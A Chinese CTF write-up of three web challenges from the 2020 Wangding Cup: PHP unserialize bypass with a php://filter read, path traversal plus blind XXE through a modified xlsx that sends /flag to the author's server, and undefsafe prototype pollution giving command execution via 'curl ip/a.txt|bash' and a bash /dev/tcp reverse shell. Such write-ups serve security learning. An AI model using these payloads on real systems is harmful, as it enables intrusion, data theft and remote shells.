• 网鼎杯2020青龙组writeup-web


    本文首发于Leon的Blog,如需转载请注明原创地址并联系作者

    AreUSerialz

    开题即送源码:

     1 <?php
     2 
     3 include("flag.php");
     4 
     5 highlight_file(__FILE__);
     6 
     7 class FileHandler {
     8 
     9     protected $op;
    10     protected $filename;
    11     protected $content;
    12 
    13     function __construct() {
    14         $op = "1";
    15         $filename = "/tmp/tmpfile";
    16         $content = "Hello World!";
    17         $this->process();   
    18     }
    19 
    20     public function process() {
    21         if($this->op == "1") {
    22             $this->write();       
    23         } else if($this->op == "2") {
    24             $res = $this->read();
    25             $this->output($res);
    26         } else {
    27             $this->output("Bad Hacker!");
    28         }
    29     }
    30 
    31     private function write() {
    32         if(isset($this->filename) && isset($this->content)) {
    33             if(strlen((string)$this->content) > 100) {
    34                 $this->output("Too long!");
    35                 die();
    36             }
    37             $res = file_put_contents($this->filename, $this->content);
    38             if($res) $this->output("Successful!");
    39             else $this->output("Failed!");
    40         } else {
    41             $this->output("Failed!");
    42         }
    43     }
    44 
    45     private function read() {
    46         $res = "";
    47         if(isset($this->filename)) {
    48             $res = file_get_contents($this->filename);
    49         }
    50         return $res;
    51     }
    52 
    53     private function output($s) {
    54         echo "[Result]: <br>";
    55         echo $s;
    56     }
    57 
    58     function __destruct() {
    59         if($this->op === "2")
    60             $this->op = "1";
    61         $this->content = "";
    62         $this->process();
    63     }
    64 
    65 }
    66 
    67 function is_valid($s) {
    68     for($i = 0; $i < strlen($s); $i++)
    69         if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
    70             return false;
    71     return true;
    72 }
    73 
    74 if(isset($_GET{'str'})) {
    75 
    76     $str = (string)$_GET['str'];
    77     if(is_valid($str)) {
    78         $obj = unserialize($str);
    79     }
    80 
    81 }

    审计代码:

    GET方式传参给str,然后调用is_valid()函数判断传入的参数是否在ASCII码32到125之间,也就是数字、大小写字符以及常规符号,然后进行反序列化

    但是这里会ban掉不可见字符0,这个在序列化protected属性的对象时会出现,我们需要绕过它,php7.1+版本对属性类型不敏感,所以本地序列化就直接用public就可以绕过了

    然后代码很简单,我们可以序列化构造$op=2和$filename=flag.php,调用read()函数读取flag.php,但是在进行read()之前就会调用__destruct()魔术方法,如果$this->op === “2”就会设置$this->op为”1″,而”1″在process()函数中会调用write()函数,不能读取文件。

    审计代码发现:process()函数中使用了不严格相等if($this->op == “2”)

    所以基于PHP的特性我们可以构造$op=”2e0”进行绕过

    然后就是读取文件了,但是直接相对路径读flag.php没用,不知道为什么

    用绝对路径/var/www/html读也没用

    我发现404页面有开发文档:https://hub.docker.com/r/nimmis/alpine-apache/

    然后发现了web路径:

    所以猜测flag.php路径是:/web/html/flag.php

    直接读取不行,用伪协议读可以

    payload:

     1 <?php
     2 class FileHandler {
     3 
     4     public $op = "2e0";
     5     public $filename = "php://filter/read=convert.base64-encode/resource=/web/html/flag.php";
     6 }
     7 
     8 $a = new FileHandler();
     9 echo urlencode(serialize($a));
    10 
    11 O%3A11%3A%22FileHandler%22%3A2%3A%7Bs%3A2%3A%22op%22%3Bs%3A3%3A%222e0%22%3Bs%3A8%3A%22filename%22%3Bs%3A67%3A%22php%3A%2F%2Ffilter%2Fread%3Dconvert.base64-encode%2Fresource%3D%2Fweb%2Fhtml%2Fflag.php%22%3B%7D

    返回:

    Jmx0Oz9waHANCg0KJGZsYWcgPSAiZmxhZ3s4NmFkMmU5My0yNTk2LTRkNDItODcyYS1hMjJlNWViNTI5Zjh9IjsNCg==

    Base64解码得到flag:flag{86ad2e93-2596-4d42-872a-a22e5eb529f8}


    filejava

    打开是一个文件上传页面,看了下页面是java写的,题目名称也说了

    上传个文件,然后可以下载,复制下载链接一看:

    http://e4d82ea6f1f8426f99d557844d204d6a81fd39d4ca25413c.cloudgame2.ichunqiu.com:8080/file_in_java/DownloadServlet?filename=46ecab01-0932-480e-9509-9e93672e94c8_a.php

    可能存在任意文件下载,尝试:

    http://e4d82ea6f1f8426f99d557844d204d6a81fd39d4ca25413c.cloudgame2.ichunqiu.com:8080/file_in_java/DownloadServlet?filename=../../../../../../../../../etc/passwd

    发现可以下载到/etc/passwd

    又根据报错知道是Tomcat于是读取web.xml:

    http://e4d82ea6f1f8426f99d557844d204d6a81fd39d4ca25413c.cloudgame2.ichunqiu.com:8080/file_in_java/DownloadServlet?filename=../../../../../../../../../usr/local/tomcat/webapps/file_in_java/WEB-INF/web.xml

    得到:

     1 <?xml version="1.0" encoding="UTF-8"?>
     2 <web-app xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns="http://java.sun.com/xml/ns/javaee" xsi:schemaLocation="http://java.sun.com/xml/ns/javaee http://java.sun.com/xml/ns/javaee/web-app_2_5.xsd" id="WebApp_ID" version="2.5">
     3   <display-name>file_in_java</display-name>
     4   <welcome-file-list>
     5     <welcome-file>upload.jsp</welcome-file>
     6   </welcome-file-list>
     7   <servlet>
     8     <description></description>
     9     <display-name>UploadServlet</display-name>
    10     <servlet-name>UploadServlet</servlet-name>
    11     <servlet-class>cn.abc.servlet.UploadServlet</servlet-class>
    12   </servlet>
    13   <servlet-mapping>
    14     <servlet-name>UploadServlet</servlet-name>
    15     <url-pattern>/UploadServlet</url-pattern>
    16   </servlet-mapping>
    17   <servlet>
    18     <description></description>
    19     <display-name>ListFileServlet</display-name>
    20     <servlet-name>ListFileServlet</servlet-name>
    21     <servlet-class>cn.abc.servlet.ListFileServlet</servlet-class>
    22   </servlet>
    23   <servlet-mapping>
    24     <servlet-name>ListFileServlet</servlet-name>
    25     <url-pattern>/ListFileServlet</url-pattern>
    26   </servlet-mapping>
    27   <servlet>
    28     <description></description>
    29     <display-name>DownloadServlet</display-name>
    30     <servlet-name>DownloadServlet</servlet-name>
    31     <servlet-class>cn.abc.servlet.DownloadServlet</servlet-class>
    32   </servlet>
    33   <servlet-mapping>
    34     <servlet-name>DownloadServlet</servlet-name>
    35     <url-pattern>/DownloadServlet</url-pattern>
    36   </servlet-mapping>
    37 </web-app>

    之后根据xml中的<servlet-class>把对应class都下载下来,然后反编译

    java web目录参考:https://www.cnblogs.com/jpfss/p/9584075.html

    1 /DownloadServlet
    2 ?filename=../../../classes/cn/abc/servlet/UploadServlet.class
    3 ?filename=../../../classes/cn/abc/servlet/ListFileServlet.class
    4 ?filename=../../../classes/cn/abc/servlet/UploadServlet.class
    5 ?filename=../../../../META-INF/MANIFEST.MF

    主要利用点是在UploadServlet.java中有如下代码:

     1 if (filename.startsWith("excel-") && "xlsx".equals(fileExtName)) {
     2   
     3   try {
     4     Workbook wb1 = WorkbookFactory.create(in);
     5     Sheet sheet = wb1.getSheetAt(0);
     6     System.out.println(sheet.getFirstRowNum());
     7   } catch (InvalidFormatException e) {
     8     System.err.println("poi-ooxml-3.10 has something wrong");
     9     e.printStackTrace();
    10   } 
    11 }

    这里考到了CVE-2014-3529类似的漏洞

    这部分代码逻辑表示,如果我们的文件名是excel-开始加上.xlsx结尾,就会用poi解析xlsx。

    因为提示flag在根目录,正好可以用这个xxe打。不过没回显,所以要引用外部xml盲打xxe。

    首先是本地新建一个excel-1.xlsx文件,然后改后缀为zip,然后把[Content_Types].xml文件解压出来

    修改[Content_Types].xml的内容为:

    1 <?xml version="1.0" encoding="UTF-8" standalone="yes"?>
    2 <!DOCTYPE try[
    3 <!ENTITY % int SYSTEM "http://***.***.***.***/a.xml">
    4 %int;
    5 %all;
    6 %send;
    7 ]>
    8 <root>&send;</root>
    9 <Types xmlns="http://schemas.openxmlformats.org/package/2006/content-types"><Default Extension="rels" ContentType="application/vnd.openxmlformats-package.relationships+xml"/><Default Extension="xml" ContentType="application/xml"/><Override PartName="/xl/workbook.xml" ContentType="application/vnd.openxmlformats-officedocument.spreadsheetml.sheet.main+xml"/><Override PartName="/xl/worksheets/sheet1.xml" ContentType="application/vnd.openxmlformats-officedocument.spreadsheetml.worksheet+xml"/><Override PartName="/xl/theme/theme1.xml" ContentType="application/vnd.openxmlformats-officedocument.theme+xml"/><Override PartName="/xl/styles.xml" ContentType="application/vnd.openxmlformats-officedocument.spreadsheetml.styles+xml"/><Override PartName="/docProps/core.xml" ContentType="application/vnd.openxmlformats-package.core-properties+xml"/><Override PartName="/docProps/app.xml" ContentType="application/vnd.openxmlformats-officedocument.extended-properties+xml"/></Types>

    然后把这个文件再压缩回去,替换掉原来那个,然后把后缀zip改为xlsx

    在自己的vps上新建a.xml文件,内容为:

    1 <!ENTITY % payl SYSTEM "file:///flag">
    2 <!ENTITY % all "<!ENTITY &#37; send SYSTEM 'http://59.***.***.***:8500/?%payl;'>">

    然后监听8500端口,上传excel-1.xlsx即可收到flag


    notes

    考点:CVE-2019-10795 undefsafe原型链污染

    参考:https://snyk.io/vuln/SNYK-JS-UNDEFSAFE-548940

    app.js源码:

      1 var express = require('express');
      2 var path = require('path');
      3 const undefsafe = require('undefsafe');
      4 const { exec } = require('child_process');
      5 
      6 
      7 var app = express();
      8 class Notes {
      9     constructor() {
     10         this.owner = "whoknows";
     11         this.num = 0;
     12         this.note_list = {};
     13     }
     14 
     15     write_note(author, raw_note) {
     16         this.note_list[(this.num++).toString()] = {"author": author,"raw_note":raw_note};
     17     }
     18 
     19     get_note(id) {
     20         var r = {}
     21         undefsafe(r, id, undefsafe(this.note_list, id));
     22         return r;
     23     }
     24 
     25     edit_note(id, author, raw) {
     26         undefsafe(this.note_list, id + '.author', author);
     27         undefsafe(this.note_list, id + '.raw_note', raw);
     28     }
     29 
     30     get_all_notes() {
     31         return this.note_list;
     32     }
     33 
     34     remove_note(id) {
     35         delete this.note_list[id];
     36     }
     37 }
     38 
     39 var notes = new Notes();
     40 notes.write_note("nobody", "this is nobody's first note");
     41 
     42 
     43 app.set('views', path.join(__dirname, 'views'));
     44 app.set('view engine', 'pug');
     45 
     46 app.use(express.json());
     47 app.use(express.urlencoded({ extended: false }));
     48 app.use(express.static(path.join(__dirname, 'public')));
     49 
     50 
     51 app.get('/', function(req, res, next) {
     52   res.render('index', { title: 'Notebook' });
     53 });
     54 
     55 app.route('/add_note')
     56     .get(function(req, res) {
     57         res.render('mess', {message: 'please use POST to add a note'});
     58     })
     59     .post(function(req, res) {
     60         let author = req.body.author;
     61         let raw = req.body.raw;
     62         if (author && raw) {
     63             notes.write_note(author, raw);
     64             res.render('mess', {message: "add note sucess"});
     65         } else {
     66             res.render('mess', {message: "did not add note"});
     67         }
     68     })
     69 
     70 app.route('/edit_note')
     71     .get(function(req, res) {
     72         res.render('mess', {message: "please use POST to edit a note"});
     73     })
     74     .post(function(req, res) {
     75         let id = req.body.id;
     76         let author = req.body.author;
     77         let enote = req.body.raw;
     78         if (id && author && enote) {
     79             notes.edit_note(id, author, enote);
     80             res.render('mess', {message: "edit note sucess"});
     81         } else {
     82             res.render('mess', {message: "edit note failed"});
     83         }
     84     })
     85 
     86 app.route('/delete_note')
     87     .get(function(req, res) {
     88         res.render('mess', {message: "please use POST to delete a note"});
     89     })
     90     .post(function(req, res) {
     91         let id = req.body.id;
     92         if (id) {
     93             notes.remove_note(id);
     94             res.render('mess', {message: "delete done"});
     95         } else {
     96             res.render('mess', {message: "delete failed"});
     97         }
     98     })
     99 
    100 app.route('/notes')
    101     .get(function(req, res) {
    102         let q = req.query.q;
    103         let a_note;
    104         if (typeof(q) === "undefined") {
    105             a_note = notes.get_all_notes();
    106         } else {
    107             a_note = notes.get_note(q);
    108         }
    109         res.render('note', {list: a_note});
    110     })
    111 
    112 app.route('/status')
    113     .get(function(req, res) {
    114         let commands = {
    115             "script-1": "uptime",
    116             "script-2": "free -m"
    117         };
    118         for (let index in commands) {
    119             exec(commands[index], {shell:'/bin/bash'}, (err, stdout, stderr) => {
    120                 if (err) {
    121                     return;
    122                 }
    123                 console.log(`stdout: ${stdout}`);
    124             });
    125         }
    126         res.send('OK');
    127         res.end();
    128     })
    129 
    130 
    131 app.use(function(req, res, next) {
    132   res.status(404).send('Sorry cant find that!');
    133 });
    134 
    135 
    136 app.use(function(err, req, res, next) {
    137   console.error(err.stack);
    138   res.status(500).send('Something broke!');
    139 });
    140 
    141 
    142 const port = 8080;
    143 app.listen(port, () => console.log(`Example app listening at http://localhost:${port}`))

    通过上面参考链接可知undefsafe包,版本<2.0.3有原型链污染漏洞

    谷歌一下undefsafe,它的基本功能是取出字典中的对象或者更新字典中的对象:

     1 var object = {
     2   a: {
     3     b: [1,2,3]
     4   }
     5 };
     6 
     7 // modified object
     8 var res = undefsafe(object, 'a.b.0', 10);
     9 
    10 console.log(object); // { a: { b: [10, 2, 3] } }
    11 //这里可以看见1被替换成了10

    参考:https://github.com/remy/undefsafe

    审计代码发现由于/status路由下有命令执行:

     1 app.route('/status')
     2     .get(function(req, res) {
     3         let commands = {
     4             "script-1": "uptime",
     5             "script-2": "free -m"
     6         };
     7         for (let index in commands) {
     8             exec(commands[index], {shell:'/bin/bash'}, (err, stdout, stderr) => {
     9                 if (err) {
    10                     return;
    11                 }
    12                 console.log(`stdout: ${stdout}`);
    13             });
    14         }
    15         res.send('OK');
    16         res.end();
    17     })

    所以可以通过污染commands这个字典,例如令commads.a=whoami,然后访问/status它会遍历执行commands字典中的命令

    /edit_note下可以传三个参数,调用edit_note(id, author, raw) 函数,然后使用了undefsafe进行字典的修改

    因为undefsafe操作的对象可控,所以我们可以进行原型链污染

    payload:

    1 id=__proto__&author=curl ip/a.txt|bash&raw=123
    2 //a.txt内容为:
    3 bash -i >& /dev/tcp/ip/port 0>&1

    反弹shell,flag在根目录下


    trace

    这个是insert注入,好像复现不了了orz

  • 相关阅读:
    LeetCode 24. Swap Nodes in Pairs (两两交换链表中的节点)
    LeetCode 1041. Robot Bounded In Circle (困于环中的机器人)
    LeetCode 1037. Valid Boomerang (有效的回旋镖)
    LeetCode 1108. Defanging an IP Address (IP 地址无效化)
    LeetCode 704. Binary Search (二分查找)
    LeetCode 744. Find Smallest Letter Greater Than Target (寻找比目标字母大的最小字母)
    LeetCode 852. Peak Index in a Mountain Array (山脉数组的峰顶索引)
    LeetCode 817. Linked List Components (链表组件)
    LeetCode 1019. Next Greater Node In Linked List (链表中的下一个更大节点)
    29. Divide Two Integers
  • 原文地址:https://www.cnblogs.com/clqnotes/p/12919832.html
Copyright © 2020-2023  润新知